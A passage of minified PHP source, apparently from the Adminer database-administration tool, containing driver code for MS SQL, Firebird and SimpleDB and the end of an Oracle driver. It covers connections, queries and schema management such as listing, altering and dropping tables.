queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)");return(!$c||queries("ALTER TABLE ".table($Q)."\n".implode("\n",$c)))&&(!$Yb||queries("ALTER TABLE ".table($Q)." DROP (".implode(", ",$Yb).")"))&&($Q==$C||queries("ALTER TABLE ".table($Q)." RENAME TO ".table($C)));}function
foreign_keys($Q){$J=array();$H="SELECT c_list.CONSTRAINT_NAME as NAME,
c_src.COLUMN_NAME as SRC_COLUMN,
c_dest.OWNER as DEST_DB,
c_dest.TABLE_NAME as DEST_TABLE,
c_dest.COLUMN_NAME as DEST_COLUMN,
c_list.DELETE_RULE as ON_DELETE
FROM ALL_CONSTRAINTS c_list, ALL_CONS_COLUMNS c_src, ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
AND c_list.CONSTRAINT_TYPE = 'R'
AND c_src.TABLE_NAME = ".q($Q);foreach(get_rows($H)as$K)$J[$K['NAME']]=array("db"=>$K['DEST_DB'],"table"=>$K['DEST_TABLE'],"source"=>array($K['SRC_COLUMN']),"target"=>array($K['DEST_COLUMN']),"on_delete"=>$K['ON_DELETE'],"on_update"=>null,);return$J;}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($Yh){return
apply_queries("DROP VIEW",$Yh);}function
drop_tables($S){return
apply_queries("DROP TABLE",$S);}function
last_id(){return
0;}function
schemas(){return
get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX'))");}function
get_schema(){global$h;return$h->result("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function
set_schema($og){global$h;return$h->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($og));}function
show_variables(){return
get_key_vals('SELECT name, display_value FROM v$parameter');}function
process_list(){return
get_rows('SELECT sess.process AS "process", sess.username AS "user", sess.schemaname AS "schema", sess.status AS "status", sess.wait_class AS "wait_class", sess.seconds_in_wait AS "seconds_in_wait", sql.sql_text AS "sql_text", sess.machine AS "machine", sess.port AS "port"
FROM v$session sess LEFT OUTER JOIN v$sql sql
ON sql.sql_id = sess.sql_id
WHERE sess.type = \'USER\'
ORDER BY PROCESS
');}function
show_status(){$L=get_rows('SELECT * FROM v$instance');return
reset($L);}function
convert_field($o){}function
unconvert_field($o,$J){return$J;}function
support($Fc){return
preg_match('~^(columns|database|drop_col|indexes|processlist|scheme|sql|status|table|variables|view|view_trigger)$~',$Fc);}$w="oracle";$Bh=array();$Lg=array();foreach(array(lang(24)=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),lang(25)=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),lang(26)=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),lang(27)=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),)as$x=>$X){$Bh+=$X;$Lg[$x]=array_keys($X);}$Ih=array();$Re=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$Uc=array("length","lower","round","upper");$Zc=array("avg","count","count distinct","max","min","sum");$fc=array(array("date"=>"current_date","timestamp"=>"current_timestamp",),array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",));}$Xb["mssql"]="MS SQL";if(isset($_GET["mssql"])){$zf=array("SQLSRV","MSSQL");define("DRIVER","mssql");if(extension_loaded("sqlsrv")){class
Min_DB{var$extension="sqlsrv",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_get_error(){$this->error="";foreach(sqlsrv_errors()as$n){$this->errno=$n["code"];$this->error.="$n[message]\n";}$this->error=rtrim($this->error);}function
connect($N,$V,$G){$this->_link=@sqlsrv_connect($N,array("UID"=>$V,"PWD"=>$G,"CharacterSet"=>"UTF-8"));if($this->_link){$sd=sqlsrv_server_info($this->_link);$this->server_info=$sd['SQLServerVersion'];}else$this->_get_error();return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Gb){return$this->query("USE ".idf_escape($Gb));}function
query($H,$Ch=false){$I=sqlsrv_query($this->_link,$H);$this->error="";if(!$I){$this->_get_error();return
false;}return$this->store_result($I);}function
multi_query($H){$this->_result=sqlsrv_query($this->_link,$H);$this->error="";if(!$this->_result){$this->_get_error();return
false;}return
true;}function
store_result($I=null){if(!$I)$I=$this->_result;if(!$I)return
false;if(sqlsrv_field_metadata($I))return
new
Min_Result($I);$this->affected_rows=sqlsrv_rows_affected($I);return
true;}function
next_result(){return$this->_result?sqlsrv_next_result($this->_result):null;}function
result($H,$o=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->fetch_row();return$K[$o];}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($I){$this->_result=$I;}function
_convert($K){foreach((array)$K
as$x=>$X){if(is_a($X,'DateTime'))$K[$x]=$X->format("Y-m-d H:i:s");}return$K;}function
fetch_assoc(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_ASSOC,SQLSRV_SCROLL_NEXT));}function
fetch_row(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_NUMERIC,SQLSRV_SCROLL_NEXT));}function
fetch_field(){if(!$this->_fields)$this->_fields=sqlsrv_field_metadata($this->_result);$o=$this->_fields[$this->_offset++];$J=new
stdClass;$J->name=$o["Name"];$J->orgname=$o["Name"];$J->type=($o["Type"]==1?254:0);return$J;}function
seek($D){for($s=0;$s<$D;$s++)sqlsrv_fetch($this->_result);}function
__destruct(){sqlsrv_free_stmt($this->_result);}}}elseif(extension_loaded("mssql")){class
Min_DB{var$extension="MSSQL",$_link,$_result,$server_info,$affected_rows,$error;function
connect($N,$V,$G){$this->_link=@mssql_connect($N,$V,$G);if($this->_link){$I=$this->query("SELECT SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition')");$K=$I->fetch_row();$this->server_info=$this->result("sp_server_info 2",2)." [$K[0]] $K[1]";}else$this->error=mssql_get_last_message();return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Gb){return
mssql_select_db($Gb);}function
query($H,$Ch=false){$I=mssql_query($H,$this->_link);$this->error="";if(!$I){$this->error=mssql_get_last_message();return
false;}if($I===true){$this->affected_rows=mssql_rows_affected($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
mssql_next_result($this->_result);}function
result($H,$o=0){$I=$this->query($H);if(!is_object($I))return
false;return
mssql_result($I->_result,0,$o);}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($I){$this->_result=$I;$this->num_rows=mssql_num_rows($I);}function
fetch_assoc(){return
mssql_fetch_assoc($this->_result);}function
fetch_row(){return
mssql_fetch_row($this->_result);}function
num_rows(){return
mssql_num_rows($this->_result);}function
fetch_field(){$J=mssql_fetch_field($this->_result);$J->orgtable=$J->table;$J->orgname=$J->name;return$J;}function
seek($D){mssql_data_seek($this->_result,$D);}function
__destruct(){mssql_free_result($this->_result);}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$L,$Bf){foreach($L
as$O){$Jh=array();$Z=array();foreach($O
as$x=>$X){$Jh[]="$x = $X";if(isset($Bf[idf_unescape($x)]))$Z[]="$x = $X";}if(!queries("MERGE ".table($Q)." USING (VALUES(".implode(", ",$O).")) AS source (c".implode(", c",range(1,count($O))).") ON ".implode(" AND ",$Z)." WHEN MATCHED THEN UPDATE SET ".implode(", ",$Jh)." WHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).");"))return
false;}return
true;}function
begin(){return
queries("BEGIN TRANSACTION");}}function
idf_escape($t){return"[".str_replace("]","]]",$t)."]";}function
table($t){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($t);}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2]))return$h;return$h->error;}function
get_databases(){return
get_vals("EXEC sp_databases");}function
limit($H,$Z,$z,$D=0,$ug=" "){return($z!==null?" TOP (".($z+$D).")":"")." $H$Z";}function
limit1($H,$Z){return
limit($H,$Z,1);}function
db_collation($m,$nb){global$h;return$h->result("SELECT collation_name FROM sys.databases WHERE name =  ".q($m));}function
engines(){return
array();}function
logged_user(){global$h;return$h->result("SELECT SUSER_NAME()");}function
tables_list(){return
get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function
count_tables($l){global$h;$J=array();foreach($l
as$m){$h->select_db($m);$J[$m]=$h->result("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$J;}function
table_status($C=""){$J=array();foreach(get_rows("SELECT name AS Name, type_desc AS Engine FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($C!=""?"AND name = ".q($C):"ORDER BY name"))as$K){if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($R){return$R["Engine"]=="VIEW";}function
fk_support($R){return
true;}function
fields($Q){$J=array();foreach(get_rows("SELECT c.*, t.name type, d.definition [default]
FROM sys.all_columns c
JOIN sys.all_objects o ON c.object_id = o.object_id
JOIN sys.types t ON c.user_type_id = t.user_type_id
LEFT JOIN sys.default_constraints d ON c.default_object_id = d.parent_column_id
WHERE o.schema_id = SCHEMA_ID(".q(get_schema()).") AND o.type IN ('S', 'U', 'V') AND o.name = ".q($Q))as$K){$U=$K["type"];$y=(preg_match("~char|binary~",$U)?$K["max_length"]:($U=="decimal"?"$K[precision],$K[scale]":""));$J[$K["name"]]=array("field"=>$K["name"],"full_type"=>$U.($y?"($y)":""),"type"=>$U,"length"=>$y,"default"=>$K["default"],"null"=>$K["is_nullable"],"auto_increment"=>$K["is_identity"],"collation"=>$K["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"primary"=>$K["is_identity"],);}return$J;}function
indexes($Q,$i=null){$J=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key
FROM sys.indexes i
INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id
INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id
WHERE OBJECT_NAME(i.object_id) = ".q($Q),$i)as$K){$C=$K["name"];$J[$C]["type"]=($K["is_primary_key"]?"PRIMARY":($K["is_unique"]?"UNIQUE":"INDEX"));$J[$C]["lengths"]=array();$J[$C]["columns"][$K["key_ordinal"]]=$K["column_name"];$J[$C]["descs"][$K["key_ordinal"]]=($K["is_descending_key"]?'1':null);}return$J;}function
view($C){global$h;return
array("select"=>preg_replace('~^(?:[^[]|\\[[^]]*])*\\s+AS\\s+~isU','',$h->result("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($C))));}function
collations(){$J=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$d)$J[preg_replace('~_.*~','',$d)][]=$d;return$J;}function
information_schema($m){return
false;}function
error(){global$h;return
nl_br(h(preg_replace('~^(\\[[^]]*])+~m','',$h->error)));}function
create_database($m,$d){return
queries("CREATE DATABASE ".idf_escape($m).(preg_match('~^[a-z0-9_]+$~i',$d)?" COLLATE $d":""));}function
drop_databases($l){return
queries("DROP DATABASE ".implode(", ",array_map('idf_escape',$l)));}function
rename_database($C,$d){if(preg_match('~^[a-z0-9_]+$~i',$d))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $d");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($C));return
true;}function
auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".number($_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){$c=array();foreach($p
as$o){$e=idf_escape($o[0]);$X=$o[1];if(!$X)$c["DROP"][]=" COLUMN $e";else{$X[1]=preg_replace("~( COLLATE )'(\\w+)'~","\\1\\2",$X[1]);if($o[0]=="")$c["ADD"][]="\n  ".implode("",$X).($Q==""?substr($Mc[$X[0]],16+strlen($X[0])):"");else{unset($X[6]);if($e!=$X[0])queries("EXEC sp_rename ".q(table($Q).".$e").", ".q(idf_unescape($X[0])).", 'COLUMN'");$c["ALTER COLUMN ".implode("",$X)][]="";}}}if($Q=="")return
queries("CREATE TABLE ".table($C)." (".implode(",",(array)$c["ADD"])."\n)");if($Q!=$C)queries("EXEC sp_rename ".q(table($Q)).", ".q($C));if($Mc)$c[""]=$Mc;foreach($c
as$x=>$X){if(!queries("ALTER TABLE ".idf_escape($C)." $x".implode(",",$X)))return
false;}return
true;}function
alter_indexes($Q,$c){$u=array();$Yb=array();foreach($c
as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$Yb[]=idf_escape($X[1]);else$u[]=idf_escape($X[1])." ON ".table($Q);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q):"ALTER TABLE ".table($Q)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return
false;}return(!$u||queries("DROP INDEX ".implode(", ",$u)))&&(!$Yb||queries("ALTER TABLE ".table($Q)." DROP ".implode(", ",$Yb)));}function
last_id(){global$h;return$h->result("SELECT SCOPE_IDENTITY()");}function
explain($h,$H){$h->query("SET SHOWPLAN_ALL ON");$J=$h->query($H);$h->query("SET SHOWPLAN_ALL OFF");return$J;}function
found_rows($R,$Z){}function
foreign_keys($Q){$J=array();foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($Q))as$K){$q=&$J[$K["FK_NAME"]];$q["table"]=$K["PKTABLE_NAME"];$q["source"][]=$K["FKCOLUMN_NAME"];$q["target"][]=$K["PKCOLUMN_NAME"];}return$J;}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($Yh){return
queries("DROP VIEW ".implode(", ",array_map('table',$Yh)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$Yh,$bh){return
apply_queries("ALTER SCHEMA ".idf_escape($bh)." TRANSFER",array_merge($S,$Yh));}function
trigger($C){if($C=="")return
array();$L=get_rows("SELECT s.name [Trigger],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing],
c.text
FROM sysobjects s
JOIN syscomments c ON s.id = c.id
WHERE s.xtype = 'TR' AND s.name = ".q($C));$J=reset($L);if($J)$J["Statement"]=preg_replace('~^.+\\s+AS\\s+~isU','',$J["text"]);return$J;}function
triggers($Q){$J=array();foreach(get_rows("SELECT sys1.name,
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event],
CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing]
FROM sysobjects sys1
JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id
WHERE sys1.xtype = 'TR' AND sys2.name = ".q($Q))as$K)$J[$K["name"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("AS"),);}function
schemas(){return
get_vals("SELECT name FROM sys.schemas");}function
get_schema(){global$h;if($_GET["ns"]!="")return$_GET["ns"];return$h->result("SELECT SCHEMA_NAME()");}function
set_schema($ng){return
true;}function
use_sql($Gb){return"USE ".idf_escape($Gb);}function
show_variables(){return
array();}function
show_status(){return
array();}function
convert_field($o){}function
unconvert_field($o,$J){return$J;}function
support($Fc){return
preg_match('~^(columns|database|drop_col|indexes|scheme|sql|table|trigger|view|view_trigger)$~',$Fc);}$w="mssql";$Bh=array();$Lg=array();foreach(array(lang(24)=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),lang(25)=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),lang(26)=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),lang(27)=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),)as$x=>$X){$Bh+=$X;$Lg[$x]=array_keys($X);}$Ih=array();$Re=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$Uc=array("len","lower","round","upper");$Zc=array("avg","count","count distinct","max","min","sum");$fc=array(array("date|time"=>"getdate",),array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",));}$Xb['firebird']='Firebird (alpha)';if(isset($_GET["firebird"])){$zf=array("interbase");define("DRIVER","firebird");if(extension_loaded("interbase")){class
Min_DB{var$extension="Firebird",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($N,$V,$G){$this->_link=ibase_connect($N,$V,$G);if($this->_link){$Lh=explode(':',$N);$this->service_link=ibase_service_attach($Lh[0],$V,$G);$this->server_info=ibase_server_info($this->service_link,IBASE_SVC_SERVER_VERSION);}else{$this->errno=ibase_errcode();$this->error=ibase_errmsg();}return(bool)$this->_link;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($Gb){return($Gb=="domain");}function
query($H,$Ch=false){$I=ibase_query($H,$this->_link);if(!$I){$this->errno=ibase_errcode();$this->error=ibase_errmsg();return
false;}$this->error="";if($I===true){$this->affected_rows=ibase_affected_rows($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$o=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;$K=$I->fetch_row();return$K[$o];}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($I){$this->_result=$I;}function
fetch_assoc(){return
ibase_fetch_assoc($this->_result);}function
fetch_row(){return
ibase_fetch_row($this->_result);}function
fetch_field(){$o=ibase_field_info($this->_result,$this->_offset++);return(object)array('name'=>$o['name'],'orgname'=>$o['name'],'type'=>$o['type'],'charsetnr'=>$o['length'],);}function
__destruct(){ibase_free_result($this->_result);}}}class
Min_Driver
extends
Min_SQL{}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2]))return$h;return$h->error;}function
get_databases($Lc){return
array("domain");}function
limit($H,$Z,$z,$D=0,$ug=" "){$J='';$J.=($z!==null?$ug."FIRST $z".($D?" SKIP $D":""):"");$J.=" $H$Z";return$J;}function
limit1($H,$Z){return
limit($H,$Z,1);}function
db_collation($m,$nb){}function
engines(){return
array();}function
logged_user(){global$b;$k=$b->credentials();return$k[1];}function
tables_list(){global$h;$H='SELECT RDB$RELATION_NAME FROM rdb$relations WHERE rdb$system_flag = 0';$I=ibase_query($h->_link,$H);$J=array();while($K=ibase_fetch_assoc($I))$J[$K['RDB$RELATION_NAME']]='table';ksort($J);return$J;}function
count_tables($l){return
array();}function
table_status($C="",$Ec=false){global$h;$J=array();$Eb=tables_list();foreach($Eb
as$u=>$X){$u=trim($u);$J[$u]=array('Name'=>$u,'Engine'=>'standard',);if($C==$u)return$J[$u];}return$J;}function
is_view($R){return
false;}function
fk_support($R){return
preg_match('~InnoDB|IBMDB2I~i',$R["Engine"]);}function
fields($Q){global$h;$J=array();$H='SELECT r.RDB$FIELD_NAME AS field_name,
r.RDB$DESCRIPTION AS field_description,
r.RDB$DEFAULT_VALUE AS field_default_value,
r.RDB$NULL_FLAG AS field_not_null_constraint,
f.RDB$FIELD_LENGTH AS field_length,
f.RDB$FIELD_PRECISION AS field_precision,
f.RDB$FIELD_SCALE AS field_scale,
CASE f.RDB$FIELD_TYPE
WHEN 261 THEN \'BLOB\'
WHEN 14 THEN \'CHAR\'
WHEN 40 THEN \'CSTRING\'
WHEN 11 THEN \'D_FLOAT\'
WHEN 27 THEN \'DOUBLE\'
WHEN 10 THEN \'FLOAT\'
WHEN 16 THEN \'INT64\'
WHEN 8 THEN \'INTEGER\'
WHEN 9 THEN \'QUAD\'
WHEN 7 THEN \'SMALLINT\'
WHEN 12 THEN \'DATE\'
WHEN 13 THEN \'TIME\'
WHEN 35 THEN \'TIMESTAMP\'
WHEN 37 THEN \'VARCHAR\'
ELSE \'UNKNOWN\'
END AS field_type,
f.RDB$FIELD_SUB_TYPE AS field_subtype,
coll.RDB$COLLATION_NAME AS field_collation,
cset.RDB$CHARACTER_SET_NAME AS field_charset
FROM RDB$RELATION_FIELDS r
LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME
LEFT JOIN RDB$COLLATIONS coll ON f.RDB$COLLATION_ID = coll.RDB$COLLATION_ID
LEFT JOIN RDB$CHARACTER_SETS cset ON f.RDB$CHARACTER_SET_ID = cset.RDB$CHARACTER_SET_ID
WHERE r.RDB$RELATION_NAME = '.q($Q).'
ORDER BY r.RDB$FIELD_POSITION';$I=ibase_query($h->_link,$H);while($K=ibase_fetch_assoc($I))$J[trim($K['FIELD_NAME'])]=array("field"=>trim($K["FIELD_NAME"]),"full_type"=>trim($K["FIELD_TYPE"]),"type"=>trim($K["FIELD_SUB_TYPE"]),"default"=>trim($K['FIELD_DEFAULT_VALUE']),"null"=>(trim($K["FIELD_NOT_NULL_CONSTRAINT"])=="YES"),"auto_increment"=>'0',"collation"=>trim($K["FIELD_COLLATION"]),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"comment"=>trim($K["FIELD_DESCRIPTION"]),);return$J;}function
indexes($Q,$i=null){$J=array();return$J;}function
foreign_keys($Q){return
array();}function
collations(){return
array();}function
information_schema($m){return
false;}function
error(){global$h;return
h($h->error);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ng){return
true;}function
support($Fc){return
preg_match("~^(columns|sql|status|table)$~",$Fc);}$w="firebird";$Re=array("=");$Uc=array();$Zc=array();$fc=array();}$Xb["simpledb"]="SimpleDB";if(isset($_GET["simpledb"])){$zf=array("SimpleXML");define("DRIVER","simpledb");if(class_exists('SimpleXMLElement')){class
Min_DB{var$extension="SimpleXML",$server_info='2009-04-15',$error,$timeout,$next,$affected_rows,$_result;function
select_db($Gb){return($Gb=="domain");}function
query($H,$Ch=false){$F=array('SelectExpression'=>$H,'ConsistentRead'=>'true');if($this->next)$F['NextToken']=$this->next;$I=sdb_request_all('Select','Item',$F,$this->timeout);if($I===false)return$I;if(preg_match('~^\s*SELECT\s+COUNT\(~i',$H)){$Pg=0;foreach($I
as$Ed)$Pg+=$Ed->Attribute->Value;$I=array((object)array('Attribute'=>array((object)array('Name'=>'Count','Value'=>$Pg,))));}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
quote($P){return"'".str_replace("'","''",$P)."'";}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0;function
__construct($I){foreach($I
as$Ed){$K=array();if($Ed->Name!='')$K['itemName()']=(string)$Ed->Name;foreach($Ed->Attribute
as$Ia){$C=$this->_processValue($Ia->Name);$Y=$this->_processValue($Ia->Value);if(isset($K[$C])){$K[$C]=(array)$K[$C];$K[$C][]=$Y;}else$K[$C]=$Y;}$this->_rows[]=$K;foreach($K
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=count($this->_rows);}function
_processValue($ic){return(is_object($ic)&&$ic['encoding']=='base64'?base64_decode($ic):(string)$ic);}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$x=>$X)$J[$x]=$K[$x];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$Kd=array_keys($this->_rows[0]);return(object)array('name'=>$Kd[$this->_offset++]);}}}class
Min_Driver
extends
Min_SQL{public$Bf="itemName()";function
_chunkRequest($ld,$va,$F,$yc=array()){global$h;foreach(array_chunk($ld,25)as$gb){$jf=$F;foreach($gb
as$s=>$jd){$jf["Item.$s.ItemName"]=$jd;foreach($yc
as$x=>$X)$jf["Item.$s.$x"]=$X;}if(!sdb_request($va,$jf))return
false;}$h->affected_rows=count($ld);return
true;}function
_extractIds($Q,$Mf,$z){$J=array();if(preg_match_all("~itemName\(\) = (('[^']*+')+)~",$Mf,$de))$J=array_map('idf_unescape',$de[1]);else{foreach(sdb_request_all('Select','Item',array('SelectExpression'=>'SELECT itemName() FROM '.table($Q).$Mf.($z?" LIMIT 1":"")))as$Ed)$J[]=$Ed->Name;}return$J;}function
select($Q,$M,$Z,$Xc,$We=array(),$z=1,$E=0,$Df=false){global$h;$h->next=$_GET["next"];$J=parent::select($Q,$M,$Z,$Xc,$We,$z,$E,$Df);$h->next=0;return$J;}function
delete($Q,$Mf,$z=0){return$this->_chunkRequest($this->_extractIds($Q,$Mf,$z),'BatchDeleteAttributes',array('DomainName'=>$Q));}function
update($Q,$O,$Mf,$z=0,$ug="\n"){$Mb=array();$wd=array();$s=0;$ld=$this->_extractIds($Q,$Mf,$z);$jd=idf_unescape($O["`itemName()`"]);unset($O["`itemName()`"]);foreach($O
as$x=>$X){$x=idf_unescape($x);if($X=="NULL"||($jd!=""&&array($jd)!=$ld))$Mb["Attribute.".count($Mb).".Name"]=$x;if($X!="NULL"){foreach((array)$X
as$Gd=>$W){$wd["Attribute.$s.Name"]=$x;$wd["Attribute.$s.Value"]=(is_array($X)?$W:idf_unescape($W));if(!$Gd)$wd["Attribute.$s.Replace"]="true";$s++;}}}$F=array('DomainName'=>$Q);return(!$wd||$this->_chunkRequest(($jd!=""?array($jd):$ld),'BatchPutAttributes',$F,$wd))&&(!$Mb||$this->_chunkRequest($ld,'BatchDeleteAttributes',$F,$Mb));}function
insert($Q,$O){$F=array("DomainName"=>$Q);$s=0;foreach($O
as$C=>$Y){if($Y!="NULL"){$C=idf_unescape($C);if($C=="itemName()")$F["ItemName"]=idf_unescape($Y);else{foreach((array)$Y
as$X){$F["Attribute.$s.Name"]=$C;$F["Attribute.$s.Value"]=(is_array($Y)?$X:idf_unescape($Y));$s++;}}}}return
sdb_request('PutAttributes',$F);}function
insertUpdate($Q,$L,$Bf){foreach($L
as$O){if(!$this->update($Q,$O,"WHERE `itemName()` = ".q($O["`itemName()`"])))return
false;}return
true;}function
begin(){return
false;}function
commit(){return
false;}function
rollback(){return
false;}}function
connect(){return
new
Min_DB;}function
support($Fc){return
preg_match('~sql~',$Fc);}function
logged_user(){global$b;$k=$b->credentials();return$k[1];}function
get_databases(){return
array("domain");}function
collations(){return
array();}function
db_collation($m,$nb){}function
tables_list(){global$h;$J=array();foreach(sdb_request_all('ListDomains','DomainName')as$Q)$J[(string)$Q]='table';if($h->error&&defined("PAGE_HEADER"))echo"<p class='error'>".error()."\n";return$J;}function
table_status($C="",$Ec=false){$J=array();foreach(($C!=""?array($C=>true):tables_list())as$Q=>$U){$K=array("Name"=>$Q,"Auto_increment"=>"");if(!$Ec){$qe=sdb_request('DomainMetadata',array('DomainName'=>$Q));if($qe){foreach(array("Rows"=>"ItemCount","Data_length"=>"ItemNamesSizeBytes","Index_length"=>"AttributeValuesSizeBytes","Data_free"=>"AttributeNamesSizeBytes",)as$x=>$X)$K[$x]=(string)$qe->$X;}}if($C!="")return$K;$J[$Q]=$K;}return$J;}function
explain($h,$H){}function
error(){global$h;return
h($h->error);}function
information_schema(){}function
is_view($R){}function
indexes($Q,$i=null){return
array(array("type"=>"PRIMARY","columns"=>array("itemName()")),);}function
fields($Q){return
fields_from_edit();}function
foreign_keys($Q){return
array();}function
table($t){return
idf_escape($t);}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
limit($H,$Z,$z,$D=0,$ug=" "){return" $H$Z".($z!==null?$ug."LIMIT $z":"");}function
unconvert_field($o,$J){return$J;}function
fk_support($R){}function
engines(){return
array();}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){return($Q==""&&sdb_request('CreateDomain',array('DomainName'=>$C)));}function
drop_tables($S){foreach($S
as$Q){if(!sdb_request('DeleteDomain',array('DomainName'=>$Q)))return
false;}return
true;}function
count_tables($l){foreach($l
as$m)return
array($m=>count(tables_list()));}function
found_rows($R,$Z){return($Z?null:$R["Rows"]);}function
last_id(){}function
